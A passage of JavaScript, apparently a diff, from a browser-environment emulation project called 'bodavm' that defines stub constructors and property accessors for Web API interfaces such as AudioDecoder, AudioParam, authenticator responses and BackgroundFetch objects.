"AudioData", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioData', "copyTo", {configurable:true, enumerable:true, writable:true, value:function copyTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioData'].prototype, "AudioData", "copyTo", arguments)}},'prototype'); - -// AudioDecoder对象 -bodavm.memory.globalobj['AudioDecoder'] = function AudioDecoder(){if (!(this instanceof AudioDecoder)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'AudioDecoder': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioDecoder'], "AudioDecoder"); -bodavm.memory.globalobj['AudioDecoder'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['AudioDecoder'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('AudioDecoder', "isConfigSupported", {configurable:true, enumerable:true, writable:true, value:function isConfigSupported (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioDecoder'].undefined, "AudioDecoder", "isConfigSupported", arguments)}}); -bodavm.toolsFunc.defineProperty('AudioDecoder', "decodeQueueSize", {configurable:true, enumerable:true, get:function decodeQueueSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioDecoder'].prototype, "AudioDecoder", "decodeQueueSize_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioDecoder', "state", {configurable:true, enumerable:true, get:function state (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioDecoder'].prototype, "AudioDecoder", "state_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioDecoder', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioDecoder'].prototype, "AudioDecoder", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioDecoder', "configure", {configurable:true, enumerable:true, writable:true, value:function configure (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioDecoder'].prototype, "AudioDecoder", "configure", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioDecoder', "decode", {configurable:true, enumerable:true, writable:true, value:function decode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioDecoder'].prototype, "AudioDecoder", "decode", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioDecoder', "flush", {configurable:true, enumerable:true, writable:true, value:function flush (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioDecoder'].prototype, "AudioDecoder", "flush", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioDecoder', "reset", {configurable:true, enumerable:true, writable:true, value:function reset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioDecoder'].prototype, "AudioDecoder", "reset", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioDecoder', "ondequeue", {configurable:true, enumerable:true, get:function ondequeue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioDecoder'].prototype, "AudioDecoder", "ondequeue_get", arguments)}, set:function ondequeue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioDecoder'].prototype, "AudioDecoder", "ondequeue_set", arguments)}},'prototype'); - -// AudioDestinationNode对象 -bodavm.memory.globalobj['AudioDestinationNode'] = function AudioDestinationNode(){if (!(this instanceof AudioDestinationNode)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioDestinationNode'], "AudioDestinationNode"); -bodavm.memory.globalobj['AudioDestinationNode'].prototype.__proto__=bodavm.memory.globalobj['AudioNode'].prototype; -bodavm.memory.globalobj['AudioDestinationNode'].__proto__=bodavm.memory.globalobj['AudioNode']; -bodavm.toolsFunc.defineProperty('AudioDestinationNode', "maxChannelCount", {configurable:true, enumerable:true, get:function maxChannelCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioDestinationNode'].prototype, "AudioDestinationNode", "maxChannelCount_get", arguments)}, set:undefined},'prototype'); - -// AudioEncoder对象 -bodavm.memory.globalobj['AudioEncoder'] = function AudioEncoder(){if (!(this instanceof AudioEncoder)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'AudioEncoder': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioEncoder'], "AudioEncoder"); -bodavm.memory.globalobj['AudioEncoder'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['AudioEncoder'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('AudioEncoder', "isConfigSupported", {configurable:true, enumerable:true, writable:true, value:function isConfigSupported (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioEncoder'].undefined, "AudioEncoder", "isConfigSupported", arguments)}}); -bodavm.toolsFunc.defineProperty('AudioEncoder', "encodeQueueSize", {configurable:true, enumerable:true, get:function encodeQueueSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioEncoder'].prototype, "AudioEncoder", "encodeQueueSize_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioEncoder', "state", {configurable:true, enumerable:true, get:function state (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioEncoder'].prototype, "AudioEncoder", "state_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioEncoder', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioEncoder'].prototype, "AudioEncoder", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioEncoder', "configure", {configurable:true, enumerable:true, writable:true, value:function configure (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioEncoder'].prototype, "AudioEncoder", "configure", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioEncoder', "encode", {configurable:true, enumerable:true, writable:true, value:function encode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioEncoder'].prototype, "AudioEncoder", "encode", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioEncoder', "flush", {configurable:true, enumerable:true, writable:true, value:function flush (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioEncoder'].prototype, "AudioEncoder", "flush", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioEncoder', "reset", {configurable:true, enumerable:true, writable:true, value:function reset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioEncoder'].prototype, "AudioEncoder", "reset", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioEncoder', "ondequeue", {configurable:true, enumerable:true, get:function ondequeue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioEncoder'].prototype, "AudioEncoder", "ondequeue_get", arguments)}, set:function ondequeue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioEncoder'].prototype, "AudioEncoder", "ondequeue_set", arguments)}},'prototype'); - -// AudioListener对象 -bodavm.memory.globalobj['AudioListener'] = function AudioListener(){if (!(this instanceof AudioListener)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioListener'], "AudioListener"); -bodavm.toolsFunc.defineProperty('AudioListener', "positionX", {configurable:true, enumerable:true, get:function positionX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioListener'].prototype, "AudioListener", "positionX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioListener', "positionY", {configurable:true, enumerable:true, get:function positionY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioListener'].prototype, "AudioListener", "positionY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioListener', "positionZ", {configurable:true, enumerable:true, get:function positionZ (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioListener'].prototype, "AudioListener", "positionZ_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioListener', "forwardX", {configurable:true, enumerable:true, get:function forwardX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioListener'].prototype, "AudioListener", "forwardX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioListener', "forwardY", {configurable:true, enumerable:true, get:function forwardY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioListener'].prototype, "AudioListener", "forwardY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioListener', "forwardZ", {configurable:true, enumerable:true, get:function forwardZ (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioListener'].prototype, "AudioListener", "forwardZ_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioListener', "upX", {configurable:true, enumerable:true, get:function upX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioListener'].prototype, "AudioListener", "upX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioListener', "upY", {configurable:true, enumerable:true, get:function upY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioListener'].prototype, "AudioListener", "upY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioListener', "upZ", {configurable:true, enumerable:true, get:function upZ (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioListener'].prototype, "AudioListener", "upZ_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioListener', "setOrientation", {configurable:true, enumerable:true, writable:true, value:function setOrientation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioListener'].prototype, "AudioListener", "setOrientation", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioListener', "setPosition", {configurable:true, enumerable:true, writable:true, value:function setPosition (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioListener'].prototype, "AudioListener", "setPosition", arguments)}},'prototype'); - -// AudioParam对象 -bodavm.memory.globalobj['AudioParam'] = function AudioParam(){if (!(this instanceof AudioParam)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioParam'], "AudioParam"); -bodavm.toolsFunc.defineProperty('AudioParam', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "value_get", arguments)}, set:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "value_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioParam', "automationRate", {configurable:true, enumerable:true, get:function automationRate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "automationRate_get", arguments)}, set:function automationRate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "automationRate_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioParam', "defaultValue", {configurable:true, enumerable:true, get:function defaultValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "defaultValue_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioParam', "minValue", {configurable:true, enumerable:true, get:function minValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "minValue_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioParam', "maxValue", {configurable:true, enumerable:true, get:function maxValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "maxValue_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioParam', "cancelAndHoldAtTime", {configurable:true, enumerable:true, writable:true, value:function cancelAndHoldAtTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "cancelAndHoldAtTime", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioParam', "cancelScheduledValues", {configurable:true, enumerable:true, writable:true, value:function cancelScheduledValues (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "cancelScheduledValues", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioParam', "exponentialRampToValueAtTime", {configurable:true, enumerable:true, writable:true, value:function exponentialRampToValueAtTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "exponentialRampToValueAtTime", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioParam', "linearRampToValueAtTime", {configurable:true, enumerable:true, writable:true, value:function linearRampToValueAtTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "linearRampToValueAtTime", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioParam', "setTargetAtTime", {configurable:true, enumerable:true, writable:true, value:function setTargetAtTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "setTargetAtTime", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioParam', "setValueAtTime", {configurable:true, enumerable:true, writable:true, value:function setValueAtTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "setValueAtTime", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioParam', "setValueCurveAtTime", {configurable:true, enumerable:true, writable:true, value:function setValueCurveAtTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "setValueCurveAtTime", arguments)}},'prototype'); - -// AudioParamMap对象 -bodavm.memory.globalobj['AudioParamMap'] = function AudioParamMap(){if (!(this instanceof AudioParamMap)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioParamMap'], "AudioParamMap"); -bodavm.toolsFunc.defineProperty('AudioParamMap', "size", {configurable:true, enumerable:true, get:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParamMap'].prototype, "AudioParamMap", "size_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioParamMap', "entries", {configurable:true, enumerable:true, writable:true, value:function entries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParamMap'].prototype, "AudioParamMap", "entries", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioParamMap', "forEach", {configurable:true, enumerable:true, writable:true, value:function forEach (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParamMap'].prototype, "AudioParamMap", "forEach", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioParamMap', "get", {configurable:true, enumerable:true, writable:true, value:function get (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParamMap'].prototype, "AudioParamMap", "get", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioParamMap', "has", {configurable:true, enumerable:true, writable:true, value:function has (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParamMap'].prototype, "AudioParamMap", "has", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioParamMap', "keys", {configurable:true, enumerable:true, writable:true, value:function keys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParamMap'].prototype, "AudioParamMap", "keys", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioParamMap', "values", {configurable:true, enumerable:true, writable:true, value:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParamMap'].prototype, "AudioParamMap", "values", arguments)}},'prototype'); - -// AudioProcessingEvent对象 -bodavm.memory.globalobj['AudioProcessingEvent'] = function AudioProcessingEvent(){if (!(this instanceof AudioProcessingEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'AudioProcessingEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioProcessingEvent'], "AudioProcessingEvent"); -bodavm.memory.globalobj['AudioProcessingEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['AudioProcessingEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('AudioProcessingEvent', "playbackTime", {configurable:true, enumerable:true, get:function playbackTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioProcessingEvent'].prototype, "AudioProcessingEvent", "playbackTime_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioProcessingEvent', "inputBuffer", {configurable:true, enumerable:true, get:function inputBuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioProcessingEvent'].prototype, "AudioProcessingEvent", "inputBuffer_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioProcessingEvent', "outputBuffer", {configurable:true, enumerable:true, get:function outputBuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioProcessingEvent'].prototype, "AudioProcessingEvent", "outputBuffer_get", arguments)}, set:undefined},'prototype'); - -// AudioSinkInfo对象 -bodavm.memory.globalobj['AudioSinkInfo'] = function AudioSinkInfo(){if (!(this instanceof AudioSinkInfo)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioSinkInfo'], "AudioSinkInfo"); -bodavm.toolsFunc.defineProperty('AudioSinkInfo', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioSinkInfo'].prototype, "AudioSinkInfo", "type_get", arguments)}, set:undefined},'prototype'); - -// AudioWorklet对象 -bodavm.memory.globalobj['AudioWorklet'] = function AudioWorklet(){if (!(this instanceof AudioWorklet)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioWorklet'], "AudioWorklet"); -bodavm.memory.globalobj['AudioWorklet'].prototype.__proto__=bodavm.memory.globalobj['Worklet'].prototype; -bodavm.memory.globalobj['AudioWorklet'].__proto__=bodavm.memory.globalobj['Worklet']; - -// AudioWorkletNode对象 -bodavm.memory.globalobj['AudioWorkletNode'] = function AudioWorkletNode(){if (!(this instanceof AudioWorkletNode)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'AudioWorkletNode': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioWorkletNode'], "AudioWorkletNode"); -bodavm.memory.globalobj['AudioWorkletNode'].prototype.__proto__=bodavm.memory.globalobj['AudioNode'].prototype; -bodavm.memory.globalobj['AudioWorkletNode'].__proto__=bodavm.memory.globalobj['AudioNode']; -bodavm.toolsFunc.defineProperty('AudioWorkletNode', "parameters", {configurable:true, enumerable:true, get:function parameters (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioWorkletNode'].prototype, "AudioWorkletNode", "parameters_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioWorkletNode', "port", {configurable:true, enumerable:true, get:function port (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioWorkletNode'].prototype, "AudioWorkletNode", "port_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioWorkletNode', "onprocessorerror", {configurable:true, enumerable:true, get:function onprocessorerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioWorkletNode'].prototype, "AudioWorkletNode", "onprocessorerror_get", arguments)}, set:function onprocessorerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioWorkletNode'].prototype, "AudioWorkletNode", "onprocessorerror_set", arguments)}},'prototype'); - -// AuthenticatorAssertionResponse对象 -bodavm.memory.globalobj['AuthenticatorAssertionResponse'] = function AuthenticatorAssertionResponse(){if (!(this instanceof AuthenticatorAssertionResponse)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AuthenticatorAssertionResponse'], "AuthenticatorAssertionResponse"); -bodavm.memory.globalobj['AuthenticatorAssertionResponse'].prototype.__proto__=bodavm.memory.globalobj['AuthenticatorResponse'].prototype; -bodavm.memory.globalobj['AuthenticatorAssertionResponse'].__proto__=bodavm.memory.globalobj['AuthenticatorResponse']; -bodavm.toolsFunc.defineProperty('AuthenticatorAssertionResponse', "authenticatorData", {configurable:true, enumerable:true, get:function authenticatorData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AuthenticatorAssertionResponse'].prototype, "AuthenticatorAssertionResponse", "authenticatorData_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AuthenticatorAssertionResponse', "signature", {configurable:true, enumerable:true, get:function signature (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AuthenticatorAssertionResponse'].prototype, "AuthenticatorAssertionResponse", "signature_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AuthenticatorAssertionResponse', "userHandle", {configurable:true, enumerable:true, get:function userHandle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AuthenticatorAssertionResponse'].prototype, "AuthenticatorAssertionResponse", "userHandle_get", arguments)}, set:undefined},'prototype'); - -// AuthenticatorAttestationResponse对象 -bodavm.memory.globalobj['AuthenticatorAttestationResponse'] = function AuthenticatorAttestationResponse(){if (!(this instanceof AuthenticatorAttestationResponse)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AuthenticatorAttestationResponse'], "AuthenticatorAttestationResponse"); -bodavm.memory.globalobj['AuthenticatorAttestationResponse'].prototype.__proto__=bodavm.memory.globalobj['AuthenticatorResponse'].prototype; -bodavm.memory.globalobj['AuthenticatorAttestationResponse'].__proto__=bodavm.memory.globalobj['AuthenticatorResponse']; -bodavm.toolsFunc.defineProperty('AuthenticatorAttestationResponse', "attestationObject", {configurable:true, enumerable:true, get:function attestationObject (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AuthenticatorAttestationResponse'].prototype, "AuthenticatorAttestationResponse", "attestationObject_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AuthenticatorAttestationResponse', "getAuthenticatorData", {configurable:true, enumerable:true, writable:true, value:function getAuthenticatorData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AuthenticatorAttestationResponse'].prototype, "AuthenticatorAttestationResponse", "getAuthenticatorData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AuthenticatorAttestationResponse', "getPublicKey", {configurable:true, enumerable:true, writable:true, value:function getPublicKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AuthenticatorAttestationResponse'].prototype, "AuthenticatorAttestationResponse", "getPublicKey", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AuthenticatorAttestationResponse', "getPublicKeyAlgorithm", {configurable:true, enumerable:true, writable:true, value:function getPublicKeyAlgorithm (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AuthenticatorAttestationResponse'].prototype, "AuthenticatorAttestationResponse", "getPublicKeyAlgorithm", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AuthenticatorAttestationResponse', "getTransports", {configurable:true, enumerable:true, writable:true, value:function getTransports (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AuthenticatorAttestationResponse'].prototype, "AuthenticatorAttestationResponse", "getTransports", arguments)}},'prototype'); - -// BackgroundFetchManager对象 -bodavm.memory.globalobj['BackgroundFetchManager'] = function BackgroundFetchManager(){if (!(this instanceof BackgroundFetchManager)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BackgroundFetchManager'], "BackgroundFetchManager"); -bodavm.toolsFunc.defineProperty('BackgroundFetchManager', "fetch", {configurable:true, enumerable:true, writable:true, value:function fetch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchManager'].prototype, "BackgroundFetchManager", "fetch", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BackgroundFetchManager', "get", {configurable:true, enumerable:true, writable:true, value:function get (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchManager'].prototype, "BackgroundFetchManager", "get", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BackgroundFetchManager', "getIds", {configurable:true, enumerable:true, writable:true, value:function getIds (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchManager'].prototype, "BackgroundFetchManager", "getIds", arguments)}},'prototype'); - -// BackgroundFetchRecord对象 -bodavm.memory.globalobj['BackgroundFetchRecord'] = function BackgroundFetchRecord(){if (!(this instanceof BackgroundFetchRecord)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BackgroundFetchRecord'], "BackgroundFetchRecord"); -bodavm.toolsFunc.defineProperty('BackgroundFetchRecord', "request", {configurable:true, enumerable:true, get:function request (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRecord'].prototype, "BackgroundFetchRecord", "request_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BackgroundFetchRecord', "responseReady", {configurable:true, enumerable:true, get:function responseReady (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRecord'].prototype, "BackgroundFetchRecord", "responseReady_get", arguments)}, set:undefined},'prototype'); - -// BackgroundFetchRegistration对象 -bodavm.memory.globalobj['BackgroundFetchRegistration'] = function BackgroundFetchRegistration(){if (!(this instanceof BackgroundFetchRegistration)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BackgroundFetchRegistration'], "BackgroundFetchRegistration"); -bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['BackgroundFetchRegistration'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('BackgroundFetchRegistration', "id", {configurable:true, enumerable:true, get:function id (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", "id_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BackgroundFetchRegistration', "uploadTotal", {configurable:true, enumerable:true, get:function uploadTotal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", "uploadTotal_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BackgroundFetchRegistration', "uploaded", {configurable:true, enumerable:true, get:function uploaded (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", "uploaded_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BackgroundFetchRegistration', "downloadTotal", {configurable:true, enumerable:true, get:function downloadTotal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", "downloadTotal_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BackgroundFetchRegistration', "downloaded", {configurable:true, enumerable:true, get:function downloaded (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", "downloaded_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BackgroundFetchRegistration', "result", {configurable:true, enumerable:true, get:function result (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", "result_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BackgroundFetchRegistration', "failureReason", {configurable:true, enumerable:true, get:function failureReason (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", "failureReason_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BackgroundFetchRegistration', "recordsAvailable", {configurable:true, enumerable:true, get:function recordsAvailable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BackgroundFetchRegistration'].prototype, "BackgroundFetchRegistration", 